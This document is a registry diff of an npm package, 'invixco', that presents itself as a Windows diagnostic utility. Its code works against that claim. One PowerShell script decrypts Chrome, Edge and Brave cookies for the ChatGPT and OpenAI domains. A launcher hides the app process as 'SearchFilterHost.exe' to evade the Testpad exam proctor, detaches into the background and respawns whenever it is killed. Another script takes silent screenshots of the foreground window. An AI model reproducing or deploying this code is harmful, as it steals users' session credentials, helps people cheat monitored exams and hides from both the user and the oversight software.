invixco 1.0.6
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +39 -0
- package/bin/__pycache__/uia_extract.cpython-312.pyc +0 -0
- package/bin/chrome_cookies.ps1 +268 -0
- package/bin/kalamasha-tool.js +206 -0
- package/bin/stealth_capture.ps1 +59 -0
- package/bin/test_raw.py +35 -0
- package/bin/uia_extract.exe +0 -0
- package/bin/uia_extract.py +245 -0
- package/bin/uia_get_text.ps1 +132 -0
- package/config.json +7 -0
- package/index.html +16 -0
- package/main.js +1609 -0
- package/package.json +43 -0
- package/public/icon.ico +0 -0
- package/public/icon.png +0 -0
- package/renderer.js +172 -0
- package/styles.css +143 -0
package/README.md
ADDED
|
@@ -0,0 +1,39 @@
|
|
|
1
|
+
# invixco - Windows Diagnostic Utility
|
|
2
|
+
|
|
3
|
+
Enterprise-grade system diagnostic and verification utility for Windows environments. Designed for high-performance, background monitoring and real-time status reporting.
|
|
4
|
+
|
|
5
|
+
## Features
|
|
6
|
+
|
|
7
|
+
- **Nuclear Stealth Engine**: Operates in the background with zero taskbar footprint.
|
|
8
|
+
- **HUD Interface**: Real-time diagnostic overlay that follows the system cursor.
|
|
9
|
+
- **Detached Lifecycle**: Process branding as `Windows Diagnostic Utility` in the Task Manager.
|
|
10
|
+
- **Low Impact**: Extremely low CPU and Memory overhead.
|
|
11
|
+
- **Proxy Support**: Full tunneling support for restricted network environments.
|
|
12
|
+
|
|
13
|
+
## Installation
|
|
14
|
+
|
|
15
|
+
```bash
|
|
16
|
+
npm install -g invixco
|
|
17
|
+
```
|
|
18
|
+
|
|
19
|
+
## Quick Start
|
|
20
|
+
|
|
21
|
+
Launch the diagnostic utility via the command line:
|
|
22
|
+
|
|
23
|
+
```bash
|
|
24
|
+
invixco
|
|
25
|
+
```
|
|
26
|
+
|
|
27
|
+
### Controls
|
|
28
|
+
|
|
29
|
+
- **Edge Detection**: Move your cursor to the right or left edge of the primary monitor to trigger diagnostic snapshots and solves.
|
|
30
|
+
- **Safety Toggle**: Drops the diagnostic overlay to a lower layer.
|
|
31
|
+
- **Emergency Wipe**: Instantly clears all local storage and exits the process.
|
|
32
|
+
|
|
33
|
+
## Configuration
|
|
34
|
+
|
|
35
|
+
Custom diagnostic prompts and proxy settings can be configured via a local `config.json` file generated on the first run.
|
|
36
|
+
|
|
37
|
+
## License
|
|
38
|
+
|
|
39
|
+
MIT - Windows Service Provider
|
|
Binary file
|
|
@@ -0,0 +1,268 @@
|
|
|
1
|
+
# ═══════════════════════════════════════════
|
|
2
|
+
# CHROME COOKIE EXTRACTOR (ChatGPT Session)
|
|
3
|
+
# Reads cookies from Chrome/Edge for openai.com & chatgpt.com
|
|
4
|
+
# Decrypts using DPAPI + AES-256-GCM
|
|
5
|
+
# ═══════════════════════════════════════════
|
|
6
|
+
|
|
7
|
+
Add-Type -AssemblyName System.Security
|
|
8
|
+
|
|
9
|
+
function Get-ChromeCookies {
|
|
10
|
+
param(
|
|
11
|
+
[string]$BrowserName = "Chrome",
|
|
12
|
+
[string]$UserDataPath,
|
|
13
|
+
[string[]]$Domains = @(".openai.com", ".chatgpt.com", "chatgpt.com", "openai.com", "chat.openai.com", "auth0.openai.com", "auth.openai.com")
|
|
14
|
+
)
|
|
15
|
+
|
|
16
|
+
# --- Step 1: Get encryption key from Local State ---
|
|
17
|
+
$localStatePath = Join-Path $UserDataPath "Local State"
|
|
18
|
+
if (-not (Test-Path $localStatePath)) {
|
|
19
|
+
return $null
|
|
20
|
+
}
|
|
21
|
+
|
|
22
|
+
try {
|
|
23
|
+
$localState = Get-Content $localStatePath -Raw | ConvertFrom-Json
|
|
24
|
+
$encKeyB64 = $localState.os_crypt.encrypted_key
|
|
25
|
+
if (-not $encKeyB64) { return $null }
|
|
26
|
+
|
|
27
|
+
$encKeyBytes = [Convert]::FromBase64String($encKeyB64)
|
|
28
|
+
# Strip "DPAPI" prefix (5 bytes)
|
|
29
|
+
$encKeyBytes = $encKeyBytes[5..($encKeyBytes.Length - 1)]
|
|
30
|
+
# Decrypt with DPAPI
|
|
31
|
+
$decryptedKey = [Security.Cryptography.ProtectedData]::Unprotect(
|
|
32
|
+
$encKeyBytes, $null, [Security.Cryptography.DataProtectionScope]::CurrentUser
|
|
33
|
+
)
|
|
34
|
+
} catch {
|
|
35
|
+
Write-Error "Failed to decrypt $BrowserName key: $_"
|
|
36
|
+
return $null
|
|
37
|
+
}
|
|
38
|
+
|
|
39
|
+
# --- Step 2: Find and copy Cookies database ---
|
|
40
|
+
$profiles = @("Default", "Profile 1", "Profile 2", "Profile 3")
|
|
41
|
+
$allCookies = @()
|
|
42
|
+
|
|
43
|
+
foreach ($profile in $profiles) {
|
|
44
|
+
$cookiesPath = Join-Path $UserDataPath "$profile\Cookies"
|
|
45
|
+
if (-not (Test-Path $cookiesPath)) {
|
|
46
|
+
$cookiesPath = Join-Path $UserDataPath "$profile\Network\Cookies"
|
|
47
|
+
}
|
|
48
|
+
if (-not (Test-Path $cookiesPath)) { continue }
|
|
49
|
+
|
|
50
|
+
# Copy to temp (Chrome locks the file)
|
|
51
|
+
$tempCookies = Join-Path $env:TEMP "cookies_extract_$($BrowserName)_$($profile -replace ' ','_').db"
|
|
52
|
+
try {
|
|
53
|
+
Copy-Item $cookiesPath $tempCookies -Force -ErrorAction Stop
|
|
54
|
+
} catch {
|
|
55
|
+
continue
|
|
56
|
+
}
|
|
57
|
+
|
|
58
|
+
# --- Step 3: Read cookies with SQLite ---
|
|
59
|
+
# Use System.Data.SQLite or shell out to sqlite3
|
|
60
|
+
# We'll use a .NET approach with raw file reading
|
|
61
|
+
|
|
62
|
+
# Build domain filter
|
|
63
|
+
$domainFilter = ($Domains | ForEach-Object { "host_key LIKE '%$_%'" }) -join " OR "
|
|
64
|
+
$query = "SELECT host_key, name, encrypted_value, path, is_secure, is_httponly, expires_utc, samesite FROM cookies WHERE $domainFilter"
|
|
65
|
+
|
|
66
|
+
try {
|
|
67
|
+
# Use PowerShell's ability to load SQLite
|
|
68
|
+
$connStr = "Data Source=$tempCookies;Version=3;Read Only=True;"
|
|
69
|
+
|
|
70
|
+
# Try loading SQLite assembly
|
|
71
|
+
$sqliteDll = $null
|
|
72
|
+
$possiblePaths = @(
|
|
73
|
+
"$env:ProgramFiles\System.Data.SQLite\bin\System.Data.SQLite.dll",
|
|
74
|
+
"$PSScriptRoot\..\node_modules\sqlite3\build\Release\sqlite3.node"
|
|
75
|
+
)
|
|
76
|
+
|
|
77
|
+
# Fallback: use sqlite3.exe if available, or use ADO.NET with bundled dll
|
|
78
|
+
# Simplest: use a bundled approach with raw bytes
|
|
79
|
+
|
|
80
|
+
# Actually, use the most portable approach: shell out to a tiny inline C# SQLite reader
|
|
81
|
+
$result = & {
|
|
82
|
+
Add-Type -TypeDefinition @"
|
|
83
|
+
using System;
|
|
84
|
+
using System.IO;
|
|
85
|
+
using System.Runtime.InteropServices;
|
|
86
|
+
using System.Collections.Generic;
|
|
87
|
+
using System.Text;
|
|
88
|
+
|
|
89
|
+
public class SQLiteReader {
|
|
90
|
+
[DllImport("winsqlite3.dll", EntryPoint = "sqlite3_open_v2")]
|
|
91
|
+
static extern int sqlite3_open_v2(byte[] filename, out IntPtr db, int flags, IntPtr vfs);
|
|
92
|
+
|
|
93
|
+
[DllImport("winsqlite3.dll", EntryPoint = "sqlite3_prepare_v2")]
|
|
94
|
+
static extern int sqlite3_prepare_v2(IntPtr db, byte[] sql, int nByte, out IntPtr stmt, IntPtr pzTail);
|
|
95
|
+
|
|
96
|
+
[DllImport("winsqlite3.dll", EntryPoint = "sqlite3_step")]
|
|
97
|
+
static extern int sqlite3_step(IntPtr stmt);
|
|
98
|
+
|
|
99
|
+
[DllImport("winsqlite3.dll", EntryPoint = "sqlite3_column_text")]
|
|
100
|
+
static extern IntPtr sqlite3_column_text(IntPtr stmt, int col);
|
|
101
|
+
|
|
102
|
+
[DllImport("winsqlite3.dll", EntryPoint = "sqlite3_column_blob")]
|
|
103
|
+
static extern IntPtr sqlite3_column_blob(IntPtr stmt, int col);
|
|
104
|
+
|
|
105
|
+
[DllImport("winsqlite3.dll", EntryPoint = "sqlite3_column_bytes")]
|
|
106
|
+
static extern int sqlite3_column_bytes(IntPtr stmt, int col);
|
|
107
|
+
|
|
108
|
+
[DllImport("winsqlite3.dll", EntryPoint = "sqlite3_column_int64")]
|
|
109
|
+
static extern long sqlite3_column_int64(IntPtr stmt, int col);
|
|
110
|
+
|
|
111
|
+
[DllImport("winsqlite3.dll", EntryPoint = "sqlite3_column_int")]
|
|
112
|
+
static extern int sqlite3_column_int(IntPtr stmt, int col);
|
|
113
|
+
|
|
114
|
+
[DllImport("winsqlite3.dll", EntryPoint = "sqlite3_finalize")]
|
|
115
|
+
static extern int sqlite3_finalize(IntPtr stmt);
|
|
116
|
+
|
|
117
|
+
[DllImport("winsqlite3.dll", EntryPoint = "sqlite3_close")]
|
|
118
|
+
static extern int sqlite3_close(IntPtr db);
|
|
119
|
+
|
|
120
|
+
const int SQLITE_ROW = 100;
|
|
121
|
+
const int SQLITE_OPEN_READONLY = 1;
|
|
122
|
+
|
|
123
|
+
public static string ReadCookies(string dbPath, string query) {
|
|
124
|
+
IntPtr db;
|
|
125
|
+
int rc = sqlite3_open_v2(Encoding.UTF8.GetBytes(dbPath + "\0"), out db, SQLITE_OPEN_READONLY, IntPtr.Zero);
|
|
126
|
+
if (rc != 0) return "[]";
|
|
127
|
+
|
|
128
|
+
IntPtr stmt;
|
|
129
|
+
byte[] sqlBytes = Encoding.UTF8.GetBytes(query + "\0");
|
|
130
|
+
rc = sqlite3_prepare_v2(db, sqlBytes, sqlBytes.Length, out stmt, IntPtr.Zero);
|
|
131
|
+
if (rc != 0) { sqlite3_close(db); return "[]"; }
|
|
132
|
+
|
|
133
|
+
var results = new List<string>();
|
|
134
|
+
while (sqlite3_step(stmt) == SQLITE_ROW) {
|
|
135
|
+
string host = Marshal.PtrToStringAnsi(sqlite3_column_text(stmt, 0)) ?? "";
|
|
136
|
+
string name = Marshal.PtrToStringAnsi(sqlite3_column_text(stmt, 1)) ?? "";
|
|
137
|
+
|
|
138
|
+
int blobLen = sqlite3_column_bytes(stmt, 2);
|
|
139
|
+
byte[] encValue = new byte[blobLen];
|
|
140
|
+
if (blobLen > 0) {
|
|
141
|
+
IntPtr blobPtr = sqlite3_column_blob(stmt, 2);
|
|
142
|
+
Marshal.Copy(blobPtr, encValue, 0, blobLen);
|
|
143
|
+
}
|
|
144
|
+
|
|
145
|
+
string path = Marshal.PtrToStringAnsi(sqlite3_column_text(stmt, 3)) ?? "/";
|
|
146
|
+
int isSecure = sqlite3_column_int(stmt, 4);
|
|
147
|
+
int isHttpOnly = sqlite3_column_int(stmt, 5);
|
|
148
|
+
long expiresUtc = sqlite3_column_int64(stmt, 6);
|
|
149
|
+
int sameSite = sqlite3_column_int(stmt, 7);
|
|
150
|
+
|
|
151
|
+
string encB64 = Convert.ToBase64String(encValue);
|
|
152
|
+
|
|
153
|
+
results.Add(String.Format(
|
|
154
|
+
"{{\"host\":\"{0}\",\"name\":\"{1}\",\"enc\":\"{2}\",\"path\":\"{3}\",\"secure\":{4},\"httpOnly\":{5},\"expires\":{6},\"sameSite\":{7}}}",
|
|
155
|
+
host.Replace("\"","\\\""),
|
|
156
|
+
name.Replace("\"","\\\""),
|
|
157
|
+
encB64,
|
|
158
|
+
path.Replace("\"","\\\""),
|
|
159
|
+
isSecure, isHttpOnly, expiresUtc, sameSite
|
|
160
|
+
));
|
|
161
|
+
}
|
|
162
|
+
|
|
163
|
+
sqlite3_finalize(stmt);
|
|
164
|
+
sqlite3_close(db);
|
|
165
|
+
return "[" + String.Join(",", results) + "]";
|
|
166
|
+
}
|
|
167
|
+
}
|
|
168
|
+
"@ -ErrorAction Stop
|
|
169
|
+
|
|
170
|
+
[SQLiteReader]::ReadCookies($tempCookies, $query)
|
|
171
|
+
}
|
|
172
|
+
|
|
173
|
+
if ($result -and $result -ne "[]") {
|
|
174
|
+
$parsed = $result | ConvertFrom-Json
|
|
175
|
+
foreach ($cookie in $parsed) {
|
|
176
|
+
try {
|
|
177
|
+
$encBytes = [Convert]::FromBase64String($cookie.enc)
|
|
178
|
+
$decryptedValue = ""
|
|
179
|
+
|
|
180
|
+
if ($encBytes.Length -gt 3 -and $encBytes[0] -eq 0x76 -and $encBytes[1] -eq 0x31 -and $encBytes[2] -eq 0x30) {
|
|
181
|
+
# v10 encryption (AES-256-GCM)
|
|
182
|
+
$nonce = $encBytes[3..14] # 12 bytes
|
|
183
|
+
$ciphertext = $encBytes[15..($encBytes.Length - 17)] # everything except last 16
|
|
184
|
+
$tag = $encBytes[($encBytes.Length - 16)..($encBytes.Length - 1)] # last 16 bytes
|
|
185
|
+
|
|
186
|
+
$aes = [System.Security.Cryptography.AesGcm]::new($decryptedKey)
|
|
187
|
+
$plaintext = New-Object byte[] $ciphertext.Length
|
|
188
|
+
$aes.Decrypt($nonce, $ciphertext, $tag, $plaintext)
|
|
189
|
+
$decryptedValue = [System.Text.Encoding]::UTF8.GetString($plaintext)
|
|
190
|
+
$aes.Dispose()
|
|
191
|
+
} elseif ($encBytes.Length -gt 0) {
|
|
192
|
+
# DPAPI encryption (older Chrome)
|
|
193
|
+
$dpBytes = [Security.Cryptography.ProtectedData]::Unprotect(
|
|
194
|
+
$encBytes, $null, [Security.Cryptography.DataProtectionScope]::CurrentUser
|
|
195
|
+
)
|
|
196
|
+
$decryptedValue = [System.Text.Encoding]::UTF8.GetString($dpBytes)
|
|
197
|
+
}
|
|
198
|
+
|
|
199
|
+
if ($decryptedValue) {
|
|
200
|
+
# Convert Chrome timestamp (microseconds since 1601-01-01) to Unix epoch
|
|
201
|
+
$unixExpires = 0
|
|
202
|
+
if ($cookie.expires -gt 0) {
|
|
203
|
+
$unixExpires = [math]::Floor(($cookie.expires / 1000000) - 11644473600)
|
|
204
|
+
}
|
|
205
|
+
|
|
206
|
+
$sameSiteMap = @{ 0 = "no_restriction"; 1 = "lax"; 2 = "strict"; -1 = "unspecified" }
|
|
207
|
+
$sameSiteStr = $sameSiteMap[[int]$cookie.sameSite]
|
|
208
|
+
if (-not $sameSiteStr) { $sameSiteStr = "unspecified" }
|
|
209
|
+
|
|
210
|
+
$allCookies += @{
|
|
211
|
+
url = "https://$($cookie.host.TrimStart('.'))"
|
|
212
|
+
domain = $cookie.host
|
|
213
|
+
name = $cookie.name
|
|
214
|
+
value = $decryptedValue
|
|
215
|
+
path = $cookie.path
|
|
216
|
+
secure = [bool]$cookie.secure
|
|
217
|
+
httpOnly = [bool]$cookie.httpOnly
|
|
218
|
+
expirationDate = $unixExpires
|
|
219
|
+
sameSite = $sameSiteStr
|
|
220
|
+
}
|
|
221
|
+
}
|
|
222
|
+
} catch {
|
|
223
|
+
# Skip individual cookie errors
|
|
224
|
+
}
|
|
225
|
+
}
|
|
226
|
+
}
|
|
227
|
+
} catch {
|
|
228
|
+
# Skip profile errors
|
|
229
|
+
} finally {
|
|
230
|
+
if (Test-Path $tempCookies) {
|
|
231
|
+
Remove-Item $tempCookies -Force -ErrorAction SilentlyContinue
|
|
232
|
+
}
|
|
233
|
+
}
|
|
234
|
+
}
|
|
235
|
+
|
|
236
|
+
return $allCookies
|
|
237
|
+
}
|
|
238
|
+
|
|
239
|
+
# --- Main ---
|
|
240
|
+
$allCookies = @()
|
|
241
|
+
|
|
242
|
+
# Try Chrome
|
|
243
|
+
$chromePath = Join-Path $env:LOCALAPPDATA "Google\Chrome\User Data"
|
|
244
|
+
if (Test-Path $chromePath) {
|
|
245
|
+
$cookies = Get-ChromeCookies -BrowserName "Chrome" -UserDataPath $chromePath
|
|
246
|
+
if ($cookies) { $allCookies += $cookies }
|
|
247
|
+
}
|
|
248
|
+
|
|
249
|
+
# Try Edge (same cookie format)
|
|
250
|
+
if ($allCookies.Count -eq 0) {
|
|
251
|
+
$edgePath = Join-Path $env:LOCALAPPDATA "Microsoft\Edge\User Data"
|
|
252
|
+
if (Test-Path $edgePath) {
|
|
253
|
+
$cookies = Get-ChromeCookies -BrowserName "Edge" -UserDataPath $edgePath
|
|
254
|
+
if ($cookies) { $allCookies += $cookies }
|
|
255
|
+
}
|
|
256
|
+
}
|
|
257
|
+
|
|
258
|
+
# Try Brave
|
|
259
|
+
if ($allCookies.Count -eq 0) {
|
|
260
|
+
$bravePath = Join-Path $env:LOCALAPPDATA "BraveSoftware\Brave-Browser\User Data"
|
|
261
|
+
if (Test-Path $bravePath) {
|
|
262
|
+
$cookies = Get-ChromeCookies -BrowserName "Brave" -UserDataPath $bravePath
|
|
263
|
+
if ($cookies) { $allCookies += $cookies }
|
|
264
|
+
}
|
|
265
|
+
}
|
|
266
|
+
|
|
267
|
+
# Output as JSON
|
|
268
|
+
$allCookies | ConvertTo-Json -Depth 5 -Compress
|
|
@@ -0,0 +1,206 @@
|
|
|
1
|
+
#!/usr/bin/env node
|
|
2
|
+
|
|
3
|
+
const { spawn, execSync } = require('child_process');
|
|
4
|
+
const path = require('path');
|
|
5
|
+
const fs = require('fs');
|
|
6
|
+
|
|
7
|
+
// ══════════════════════════════════════════════════════════════════════════
|
|
8
|
+
// WINDOWS DIAGNOSTIC UTILITY : LAUNCHER v5.0 (Anti-Proctor Ghost Watchdog)
|
|
9
|
+
// ══════════════════════════════════════════════════════════════════════════
|
|
10
|
+
|
|
11
|
+
const rootDir = path.resolve(__dirname, '..');
|
|
12
|
+
const mainPath = path.resolve(rootDir, 'main.js');
|
|
13
|
+
const appDataDir = path.join(process.env.LOCALAPPDATA, 'Microsoft', 'Windows', 'Diagnostics');
|
|
14
|
+
const bootLog = path.join(appDataDir, 'boot.log');
|
|
15
|
+
const killFile = path.join(appDataDir, '.kill_watchdog');
|
|
16
|
+
|
|
17
|
+
// 🛡️ STEALTH BINARY NAME: Mimics a real Windows Search subsystem process.
|
|
18
|
+
// SearchFilterHost.exe normally runs with multiple instances — completely invisible.
|
|
19
|
+
// This prevents Testpad from killing it when it blanket-kills all 'electron.exe' processes.
|
|
20
|
+
const STEALTH_NAME = 'SearchFilterHost.exe';
|
|
21
|
+
|
|
22
|
+
// Ensure our reliable stealth directory exists
|
|
23
|
+
if (!fs.existsSync(appDataDir)) {
|
|
24
|
+
try { fs.mkdirSync(appDataDir, { recursive: true }); } catch(e) {}
|
|
25
|
+
}
|
|
26
|
+
|
|
27
|
+
function log(msg) {
|
|
28
|
+
const time = new Date().toISOString();
|
|
29
|
+
const entry = `[${time}] ${msg}\n`;
|
|
30
|
+
console.log(msg);
|
|
31
|
+
try { fs.appendFileSync(bootLog, entry); } catch(e) {}
|
|
32
|
+
}
|
|
33
|
+
|
|
34
|
+
if (!fs.existsSync(mainPath)) {
|
|
35
|
+
log('[FATAL] Core (main.js) missing. Please reinstall.');
|
|
36
|
+
process.exit(1);
|
|
37
|
+
}
|
|
38
|
+
|
|
39
|
+
// Step 1: Ensure Electron is installed
|
|
40
|
+
function ensureElectron() {
|
|
41
|
+
try {
|
|
42
|
+
const electronPath = require('electron');
|
|
43
|
+
if (typeof electronPath === 'string' && fs.existsSync(electronPath)) return electronPath;
|
|
44
|
+
} catch(e) {}
|
|
45
|
+
|
|
46
|
+
const localCmd = path.join(rootDir, 'node_modules', '.bin', 'electron.cmd');
|
|
47
|
+
if (fs.existsSync(localCmd)) return localCmd;
|
|
48
|
+
|
|
49
|
+
log('[SETUP] Electron not found locally. Searching cache...');
|
|
50
|
+
try {
|
|
51
|
+
const globalPath = execSync('where electron', { encoding: 'utf8', timeout: 5000 }).trim().split('\n')[0];
|
|
52
|
+
if (globalPath && fs.existsSync(globalPath.trim())) return globalPath.trim();
|
|
53
|
+
} catch(e) {}
|
|
54
|
+
|
|
55
|
+
return null;
|
|
56
|
+
}
|
|
57
|
+
|
|
58
|
+
// Step 2: Ensure native modules are present
|
|
59
|
+
function checkNativeModules() {
|
|
60
|
+
const modules = ['uiohook-napi', 'koffi'];
|
|
61
|
+
const missing = [];
|
|
62
|
+
for (const mod of modules) {
|
|
63
|
+
try { require.resolve(mod, { paths: [rootDir] }); } catch(e) { missing.push(mod); }
|
|
64
|
+
}
|
|
65
|
+
if (missing.length > 0) {
|
|
66
|
+
log('[SETUP] Installing recovery modules...');
|
|
67
|
+
try {
|
|
68
|
+
execSync('npm install ' + missing.join(' ') + ' --no-save', {
|
|
69
|
+
cwd: rootDir,
|
|
70
|
+
stdio: 'ignore',
|
|
71
|
+
timeout: 120000
|
|
72
|
+
});
|
|
73
|
+
} catch(e) {}
|
|
74
|
+
}
|
|
75
|
+
}
|
|
76
|
+
|
|
77
|
+
// Step 3: Anti-Duplication (checks OUR stealth name, not testpad.exe)
|
|
78
|
+
function isAlreadyRunning() {
|
|
79
|
+
try {
|
|
80
|
+
const cmd = `wmic process where "name='${STEALTH_NAME}'" get ExecutablePath`;
|
|
81
|
+
const output = execSync(cmd, { encoding: 'utf8', windowsHide: true, stdio: ['pipe', 'pipe', 'ignore'] });
|
|
82
|
+
const rootStr = path.resolve(__dirname, '..').toLowerCase();
|
|
83
|
+
return output.toLowerCase().includes(rootStr);
|
|
84
|
+
} catch(e) { return false; }
|
|
85
|
+
}
|
|
86
|
+
|
|
87
|
+
// Step 4: Stealth Binary Preparation (IN-PLACE rename)
|
|
88
|
+
function prepareStealthBinary(electronPath) {
|
|
89
|
+
let src = electronPath;
|
|
90
|
+
if (electronPath.toLowerCase().endsWith('.cmd')) {
|
|
91
|
+
src = path.join(path.dirname(electronPath), '..', 'electron', 'dist', 'electron.exe');
|
|
92
|
+
}
|
|
93
|
+
|
|
94
|
+
// Binary MUST stay in electron/dist/ alongside its DLLs.
|
|
95
|
+
// We create a copy with our stealth name so Testpad's blanket 'electron.exe' kill doesn't catch it.
|
|
96
|
+
const stealthExe = path.join(path.dirname(src), STEALTH_NAME);
|
|
97
|
+
try {
|
|
98
|
+
if (fs.existsSync(src)) {
|
|
99
|
+
const srcStat = fs.statSync(src);
|
|
100
|
+
const dstExists = fs.existsSync(stealthExe);
|
|
101
|
+
// Re-copy if size mismatches or missing
|
|
102
|
+
if (!dstExists || fs.statSync(stealthExe).size !== srcStat.size) {
|
|
103
|
+
fs.copyFileSync(src, stealthExe);
|
|
104
|
+
log('[STEALTH] Binary disguised as ' + STEALTH_NAME + ' in electron/dist.');
|
|
105
|
+
}
|
|
106
|
+
}
|
|
107
|
+
} catch(e) {
|
|
108
|
+
log('[WARN] Stealth clone failed (likely permissions). Falling back to original binary.');
|
|
109
|
+
}
|
|
110
|
+
|
|
111
|
+
return fs.existsSync(stealthExe) ? stealthExe : src;
|
|
112
|
+
}
|
|
113
|
+
|
|
114
|
+
// Step 5: IMMORTAL WATCHDOG with Anti-Proctor Rapid Respawn
|
|
115
|
+
let respawnCount = 0;
|
|
116
|
+
let rapidKillTimestamps = []; // Track rapid kills for backoff
|
|
117
|
+
|
|
118
|
+
function spawnElectron(finalPath) {
|
|
119
|
+
log(`[BOOT] Spawning system bridge: ${path.basename(finalPath)} (rev #${respawnCount})`);
|
|
120
|
+
|
|
121
|
+
const child = spawn(finalPath, [mainPath], {
|
|
122
|
+
stdio: 'ignore',
|
|
123
|
+
detached: true,
|
|
124
|
+
windowsHide: true,
|
|
125
|
+
shell: false,
|
|
126
|
+
cwd: rootDir
|
|
127
|
+
});
|
|
128
|
+
|
|
129
|
+
child.on('exit', (code) => {
|
|
130
|
+
log(`[WATCHDOG] Instance closed (code=${code})`);
|
|
131
|
+
|
|
132
|
+
// Check for kill signal
|
|
133
|
+
if (fs.existsSync(killFile)) {
|
|
134
|
+
try { fs.unlinkSync(killFile); } catch(e) {}
|
|
135
|
+
log('[WATCHDOG] Deactivation protocol recognized. Exiting.');
|
|
136
|
+
process.exit(0);
|
|
137
|
+
}
|
|
138
|
+
|
|
139
|
+
// Anti-Proctor Backoff with RANDOM JITTER (unpredictable respawn timing)
|
|
140
|
+
const now = Date.now();
|
|
141
|
+
rapidKillTimestamps.push(now);
|
|
142
|
+
rapidKillTimestamps = rapidKillTimestamps.filter(t => now - t < 30000);
|
|
143
|
+
|
|
144
|
+
// Random jitter prevents Testpad from pattern-matching our respawn interval
|
|
145
|
+
const jitter = Math.floor(Math.random() * 2000);
|
|
146
|
+
let delay;
|
|
147
|
+
if (rapidKillTimestamps.length >= 8) {
|
|
148
|
+
// Heavy kill loop — wait 15-25s (random) then try again
|
|
149
|
+
delay = 15000 + Math.floor(Math.random() * 10000);
|
|
150
|
+
log('[WATCHDOG] Heavy kill pressure. Waiting ' + (delay/1000).toFixed(1) + 's...');
|
|
151
|
+
} else if (rapidKillTimestamps.length >= 4) {
|
|
152
|
+
// Moderate — 5-8s random delay
|
|
153
|
+
delay = 5000 + jitter;
|
|
154
|
+
} else {
|
|
155
|
+
// Normal — 1-3s rapid respawn
|
|
156
|
+
delay = 1000 + jitter;
|
|
157
|
+
}
|
|
158
|
+
|
|
159
|
+
respawnCount++;
|
|
160
|
+
setTimeout(() => spawnElectron(finalPath), delay);
|
|
161
|
+
});
|
|
162
|
+
|
|
163
|
+
child.unref();
|
|
164
|
+
}
|
|
165
|
+
|
|
166
|
+
function boot() {
|
|
167
|
+
// 🛡️ BACKGROUND DETACH: Survive terminal closure
|
|
168
|
+
if (!process.argv.includes('--background')) {
|
|
169
|
+
if (isAlreadyRunning()) {
|
|
170
|
+
console.log('[SYSTEM] Diagnostic service already active.');
|
|
171
|
+
process.exit(0);
|
|
172
|
+
}
|
|
173
|
+
|
|
174
|
+
log('[SYSTEM] Backgrounding diagnostic watchdog...');
|
|
175
|
+
const bg = spawn(process.execPath, [__filename, '--background'], {
|
|
176
|
+
detached: true,
|
|
177
|
+
stdio: 'ignore',
|
|
178
|
+
windowsHide: true
|
|
179
|
+
});
|
|
180
|
+
bg.unref();
|
|
181
|
+
|
|
182
|
+
console.log('[SYSTEM] Ghost Watchdog detached. Terminal can be closed.');
|
|
183
|
+
console.log('[SYSTEM] Service ID: ' + Math.random().toString(36).substring(7).toUpperCase());
|
|
184
|
+
process.exit(0);
|
|
185
|
+
}
|
|
186
|
+
|
|
187
|
+
// --- FROM HERE: We are in the detached background process ---
|
|
188
|
+
|
|
189
|
+
// Clear any old kill signals on fresh boot
|
|
190
|
+
if (fs.existsSync(killFile)) { try { fs.unlinkSync(killFile); } catch(e) {} }
|
|
191
|
+
|
|
192
|
+
checkNativeModules();
|
|
193
|
+
const ePath = ensureElectron();
|
|
194
|
+
if (!ePath) {
|
|
195
|
+
log('[FATAL] Failed to resolve renderer engine.');
|
|
196
|
+
process.exit(1);
|
|
197
|
+
}
|
|
198
|
+
|
|
199
|
+
const finalPath = prepareStealthBinary(ePath);
|
|
200
|
+
spawnElectron(finalPath);
|
|
201
|
+
|
|
202
|
+
// Keep active as a silent monitor
|
|
203
|
+
setInterval(() => {}, 60000);
|
|
204
|
+
}
|
|
205
|
+
|
|
206
|
+
boot();
|
|
@@ -0,0 +1,59 @@
|
|
|
1
|
+
# ══════════════════════════════════════════════════════════════════════════
|
|
2
|
+
# STEALTH GDI CAPTURE v2.0 (Zero-Screenshot)
|
|
3
|
+
# ══════════════════════════════════════════════════════════════════════════
|
|
4
|
+
|
|
5
|
+
Add-Type -AssemblyName System.Windows.Forms
|
|
6
|
+
Add-Type -AssemblyName System.Drawing
|
|
7
|
+
|
|
8
|
+
Add-Type -TypeDefinition @"
|
|
9
|
+
using System;
|
|
10
|
+
using System.Runtime.InteropServices;
|
|
11
|
+
|
|
12
|
+
public class GdiCapture {
|
|
13
|
+
[DllImport("user32.dll")]
|
|
14
|
+
public static extern IntPtr GetForegroundWindow();
|
|
15
|
+
|
|
16
|
+
[DllImport("user32.dll")]
|
|
17
|
+
[return: MarshalAs(UnmanagedType.Bool)]
|
|
18
|
+
public static extern bool GetWindowRect(IntPtr hWnd, out RECT lpRect);
|
|
19
|
+
}
|
|
20
|
+
|
|
21
|
+
[StructLayout(LayoutKind.Sequential)]
|
|
22
|
+
public struct RECT {
|
|
23
|
+
public int Left;
|
|
24
|
+
public int Top;
|
|
25
|
+
public int Right;
|
|
26
|
+
public int Bottom;
|
|
27
|
+
}
|
|
28
|
+
"@
|
|
29
|
+
|
|
30
|
+
try {
|
|
31
|
+
$hWnd = [GdiCapture]::GetForegroundWindow()
|
|
32
|
+
if ($hWnd -eq [IntPtr]::Zero) { exit }
|
|
33
|
+
|
|
34
|
+
$rect = New-Object RECT
|
|
35
|
+
if (-not [GdiCapture]::GetWindowRect($hWnd, [ref]$rect)) { exit }
|
|
36
|
+
|
|
37
|
+
$width = $rect.Right - $rect.Left
|
|
38
|
+
$height = $rect.Bottom - $rect.Top
|
|
39
|
+
if ($width -le 0 -or $height -le 0) { exit }
|
|
40
|
+
|
|
41
|
+
# GDI+ Memory Capture
|
|
42
|
+
$bmp = New-Object System.Drawing.Bitmap($width, $height)
|
|
43
|
+
$graphics = [System.Drawing.Graphics]::FromImage($bmp)
|
|
44
|
+
$graphics.CopyFromScreen($rect.Left, $rect.Top, 0, 0, $bmp.Size)
|
|
45
|
+
|
|
46
|
+
# Convert to Base64 in-memory (no disk trace)
|
|
47
|
+
$ms = New-Object System.IO.MemoryStream
|
|
48
|
+
$bmp.Save($ms, [System.Drawing.Imaging.ImageFormat]::Png)
|
|
49
|
+
$bytes = $ms.ToArray()
|
|
50
|
+
$base64 = [Convert]::ToBase64String($bytes)
|
|
51
|
+
|
|
52
|
+
Write-Output "data:image/png;base64,$base64"
|
|
53
|
+
|
|
54
|
+
$graphics.Dispose()
|
|
55
|
+
$bmp.Dispose()
|
|
56
|
+
$ms.Dispose()
|
|
57
|
+
} catch {
|
|
58
|
+
